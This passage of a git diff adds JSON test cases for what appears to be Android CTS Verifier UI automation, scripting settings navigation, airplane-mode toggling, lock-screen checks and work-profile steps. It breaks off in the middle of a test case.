+{"uuid":"c98b2d13-1b60-48d2-b05b-00252bb1c900","details":"{\"type\":\"CompoundAction\",\"name\":\"06_Profile-aware accounts settings\",\"actionId\":\"c98b2d13-1b60-48d2-b05b-00252bb1c900\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Profile-aware accounts settings\",\"actionId\":\"cd6ede55-0ef9-4694-b9cb-0eaaa9b0ed36\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Profile-aware accounts settings\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"d079c408-e579-40ca-a054-231d2389ed48\",\"displayText\":\"Add account\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"f0869d0e-44b7-4c8a-9263-5862fd57378e\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7a8985ce-dfee-4c72-a5b3-eb10f95b0029\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":22.0,\"y1\":159.33333333333334,\"x2\":345.3333333333333,\"y2\":166.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":159.33333333333334,\"x2\":360.0,\"y2\":166.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"068a1410-b8dc-4740-afa9-340a71e626ee\",\"displayText\":\"Add account\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"40ae673d-b9a3-496b-af2f-def50d0242bc\",\"displayText\":\"Add account\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"35e3b624-0b80-43ab-9a66-9186e86e3152\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"fc2abbdf-2b0f-4f60-8541-34448fbc9197\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":180.0,\"x2\":36.666666666666664,\"y2\":202.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":176.33333333333334,\"x2\":66.0,\"y2\":205.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"cf6fcc7e-3672-499c-ab06-ce40f2adf188\",\"displayText\":\"Add account\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"cc27a308-be3c-418e-92ad-887685d92594\",\"displayText\":\"Add account\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Add account\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":181.33333333333334,\"x2\":150.0,\"y2\":201.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Add account\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":166.66666666666666,\"x2\":345.3333333333333,\"y2\":215.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Add account\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":166.66666666666666,\"x2\":360.0,\"y2\":215.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Add account\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":166.66666666666666,\"x2\":360.0,\"y2\":215.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Add account\"},{\"uuid\":\"73e31f79-b157-443f-a8ef-fc0f109dc386\",\"displayText\":\"Auto-sync personal data\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"cec93d2f-6fdb-4188-a2c5-6541891e6e3d\",\"displayText\":\"Auto-sync personal data\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"3322d129-2103-40d9-aab7-2b27fcb32f8e\",\"displayText\":\"Auto-sync personal data\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Auto-sync personal data\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":230.33333333333334,\"x2\":227.33333333333334,\"y2\":250.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Auto-sync personal data\"},{\"uuid\":\"0978177d-4f8c-497a-8a15-f0a6225c1b9f\",\"displayText\":\"Let apps refresh data automatically\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Let apps refresh data automatically\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":250.0,\"x2\":269.6666666666667,\"y2\":267.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Let apps refresh data automatically\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":215.66666666666666,\"x2\":288.0,\"y2\":282.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Auto-sync personal data\"},{\"uuid\":\"48225620-1255-4725-9f3e-d45a6666372d\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"9bef7560-f31b-469c-ab3a-9bed612ce3c4\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Switch\",\"resourceId\":\"android:id/switch_widget\",\"checked\":true,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":302.6666666666667,\"y1\":236.66666666666666,\"x2\":345.3333333333333,\"y2\":261.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/widget_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":288.0,\"y1\":215.66666666666666,\"x2\":345.3333333333333,\"y2\":282.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":215.66666666666666,\"x2\":360.0,\"y2\":282.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Auto-sync personal data\"}],\"className\":\"androidx.recyclerview.widget.RecyclerView\",\"resourceId\":\"com.android.settings:id/recycler_view\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":144.66666666666666,\"x2\":360.0,\"y2\":736.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":255.5,\"y\":415.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-75.5,\"y\":24.833333333333314,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"d079c408-e579-40ca-a054-231d2389ed48\",\"firstText\":\"Add account\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Profile-aware accounts settings\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":275.0,\"y1\":440.0,\"x2\":236.0,\"y2\":391.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Profile-aware accounts settings\",\"actionId\":\"4fb6b5e1-ab88-4c38-889b-eaa165d72845\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Profile-aware accounts settings\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Work\",\"actionId\":\"0aa5c244-67b3-4ab1-acca-b56c8b34721c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Work\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Remove work profile\",\"actionId\":\"0cb9dda6-9438-4ed3-8b07-7138ccd3fb0c\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Remove work profile\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"afb02412-b7be-4d31-b239-18b6fe19ebec\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"63a47b5d-dee5-4970-aa06-12372abb5c92\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"cd6ede55-0ef9-4694-b9cb-0eaaa9b0ed36\",\"4fb6b5e1-ab88-4c38-889b-eaa165d72845\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"7b8a5983-efee-45ea-aaa2-9aaf6d82e063\",\"4aa267cc-73f0-487e-aa22-e57d487ff769\",\"0aa5c244-67b3-4ab1-acca-b56c8b34721c\",\"0cb9dda6-9438-4ed3-8b07-7138ccd3fb0c\",\"afb02412-b7be-4d31-b239-18b6fe19ebec\",\"63a47b5d-dee5-4970-aa06-12372abb5c92\",\"11862730-912f-4b3c-99d6-cff28c749559\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"06_Profile-aware accounts settings","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.297000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/caa6ccab-46bc-4259-abd1-dabe145e275a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/caa6ccab-46bc-4259-abd1-dabe145e275a
new file mode 100644
index 0000000..3cfe90a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/caa6ccab-46bc-4259-abd1-dabe145e275a
@@ -0,0 +1 @@
+{"uuid":"caa6ccab-46bc-4259-abd1-dabe145e275a","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn off airplane mode\",\"actionId\":\"caa6ccab-46bc-4259-abd1-dabe145e275a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Network & internet\",\"actionId\":\"30dd6bb5-0e8e-437c-a5ca-929acabdee98\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Network & internet\"},{\"type\":\"PythonScriptAction\",\"name\":\"Turn airplane mode switch off\",\"actionId\":\"57c638fb-4944-47a6-97d2-4e764a1edf6e\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nif d.text(\\\"Airplane mode\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").verify_exist():\\n    d.text(\\\"Airplane mode\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"30dd6bb5-0e8e-437c-a5ca-929acabdee98\",\"57c638fb-4944-47a6-97d2-4e764a1edf6e\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn off airplane mode","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.275000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cae61682-7071-4c67-94c1-963ff2cbe978 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cae61682-7071-4c67-94c1-963ff2cbe978
new file mode 100644
index 0000000..9447023
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cae61682-7071-4c67-94c1-963ff2cbe978
@@ -0,0 +1 @@
+{"uuid":"cae61682-7071-4c67-94c1-963ff2cbe978","details":"{\"type\":\"CompoundAction\",\"name\":\"VERIFY you are not told the device is managed\",\"actionId\":\"cae61682-7071-4c67-94c1-963ff2cbe978\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":5000,\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY on the lock screen, you are not told the device is managed\",\"actionId\":\"8081fb6b-d9e3-405a-8cb5-16761a9d655d\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"This device belongs to your organization\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"8081fb6b-d9e3-405a-8cb5-16761a9d655d\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"VERIFY you are not told the device is managed","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.218000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cc9d7c01-f4f6-418f-8017-afcfe3344147 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cc9d7c01-f4f6-418f-8017-afcfe3344147
new file mode 100644
index 0000000..bcbc5d3
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cc9d7c01-f4f6-418f-8017-afcfe3344147
@@ -0,0 +1 @@
+{"uuid":"cc9d7c01-f4f6-418f-8017-afcfe3344147","details":"{\"type\":\"CompoundAction\",\"name\":\"test_BYOD Managed Provisioning\",\"actionId\":\"cc9d7c01-f4f6-418f-8017-afcfe3344147\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[],\"childrenIdList\":[\"015882d1-9ce9-4b67-a7e3-925ee0798fe4\",\"6d46cead-4200-4830-ab73-aa5b72d8cee0\",\"731c2600-1169-402e-91ee-98a4dd31506f\",\"5e7a1b39-3e17-45e2-863f-ad55e97d901f\",\"9e63b2da-d744-4a93-907f-3486c60407cb\",\"c98b2d13-1b60-48d2-b05b-00252bb1c900\",\"c8aa9cc8-5d60-4130-b8ed-217545c43231\",\"d9789ba1-6855-459c-9d3f-30799e7dcb87\",\"4994c7d8-acaf-4272-b8f5-6768561cf2cf\",\"1d4b27f3-51f7-4f20-b674-f5a097b6d7d5\",\"11db7055-3e2e-475f-8620-1bef6bb6f5bd\",\"d342c4dd-f898-4df1-aa92-cf6ac97d772a\",\"acc515c6-092f-4d36-898f-4c8d33652223\",\"1a737a07-f83f-41f1-8831-ca5c16ce3268\",\"9a43346d-fd4d-4892-8938-bb911c5f1fff\",\"0cd14890-b229-4bdf-a5e5-0e86f7805dfe\",\"06b95829-83ea-43e3-9620-11c733b49b41\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_BYOD Managed Provisioning","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.315000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cccc0cd1-82fd-4292-8d4d-2028be141809 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cccc0cd1-82fd-4292-8d4d-2028be141809
new file mode 100644
index 0000000..5c9d579
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cccc0cd1-82fd-4292-8d4d-2028be141809
@@ -0,0 +1 @@
+{"uuid":"cccc0cd1-82fd-4292-8d4d-2028be141809","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify None/Swipe\",\"actionId\":\"cccc0cd1-82fd-4292-8d4d-2028be141809\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, None\",\"actionId\":\"f0138472-d27a-4940-b9e4-910fff2eba50\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"None\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"60137e1c-eae7-477b-acfc-ec2ff20d2088\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Swipe\",\"actionId\":\"8bc0da01-a47f-484f-a4a5-39bdb64927ba\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Swipe\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"d0d39131-6ffc-4f38-88d8-9929a44d0bf3\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"f0138472-d27a-4940-b9e4-910fff2eba50\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"60137e1c-eae7-477b-acfc-ec2ff20d2088\",\"8bc0da01-a47f-484f-a4a5-39bdb64927ba\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"d0d39131-6ffc-4f38-88d8-9929a44d0bf3\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify None/Swipe","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.158000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cd0de494-22a4-45d1-b5b4-74d5585cccf8 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cd0de494-22a4-45d1-b5b4-74d5585cccf8
new file mode 100644
index 0000000..4d09736
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/cd0de494-22a4-45d1-b5b4-74d5585cccf8
@@ -0,0 +1 @@
+{"uuid":"cd0de494-22a4-45d1-b5b4-74d5585cccf8","details":"{\"type\":\"CompoundAction\",\"name\":\"15-25-Set maximum time to lock\",\"actionId\":\"cd0de494-22a4-45d1-b5b4-74d5585cccf8\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Set maximum time to lock\",\"actionId\":\"26dc6e6d-5b02-4118-b2c2-dba7d776ad13\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Set maximum time to lock\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"d971bb80-98e9-46c4-9409-42a4e659e44d\",\"displayText\":\"Set maximum time to lock\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Set maximum time to lock\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":467.3333333333333,\"x2\":360.0,\"y2\":511.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":94.0,\"y\":488.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":86.0,\"y\":1.3333333333333144,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"d971bb80-98e9-46c4-9409-42a4e659e44d\",\"firstText\":\"Set maximum time to lock\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Set maximum time to lock\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":0.0,\"y1\":470.0,\"x2\":188.0,\"y2\":506.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set maximum time to lock\",\"actionId\":\"4d896eee-a7eb-400b-9f52-f35217f51709\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set maximum time to lock\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/edit_text_widget\",\"actionId\":\"a0b6adce-d7e3-4f1f-918d-7e6ab93fa2dc\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/edit_text_widget\"},{\"type\":\"InputAction\",\"name\":\"INPUT 60 secs\",\"actionId\":\"a4345a2b-8749-46b0-857b-3f8903aada5d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"60\",\"isSingleChar\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/update_button\",\"actionId\":\"24d3baf7-2b9a-4295-812e-f8095d4e07f6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/update_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Screen 